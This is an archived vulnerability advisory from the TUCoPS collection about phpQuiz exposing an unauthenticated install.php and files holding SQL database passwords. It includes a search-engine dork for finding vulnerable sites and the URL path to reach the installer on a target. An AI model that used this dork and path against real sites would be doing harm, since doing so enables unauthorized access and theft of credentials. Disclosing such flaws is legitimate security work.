TUCoPS :: Web :: PHP :: b06-4753.htm

TUCoPS :: Web :: PHP :: b06-4753.htm
phpQuiz sensitive file (install.php)

phpQuiz sensitive file (install.php) phpQuiz sensitive file (install.php)


* phpQuiz sensitive file (install.php without authentification) + Files containing interesting info (passwords for sql db)=0D
=0D
* By : sn0oPy=0D
=0D
* Risk : verry high=0D
=0D
* Site : http://phpquiz.com/=0D 
=0D
* Dork : intitle:"phpQuiz" | " D=E9velopp=E9 par PhpQuiz v.1.0  " | "=A9 PhpQuiz" | inurl:"PhpQuiz"=0D
=0D
* exploit :=0D
http://target.com/[phpquiz_path]/front/=0D 
replace by :=0D
http://target.com/[phpquiz_path]/cfgphpquiz/install.php=0D 
=0D
* greetz : [subzero], Avg Team, Lhma9.=0D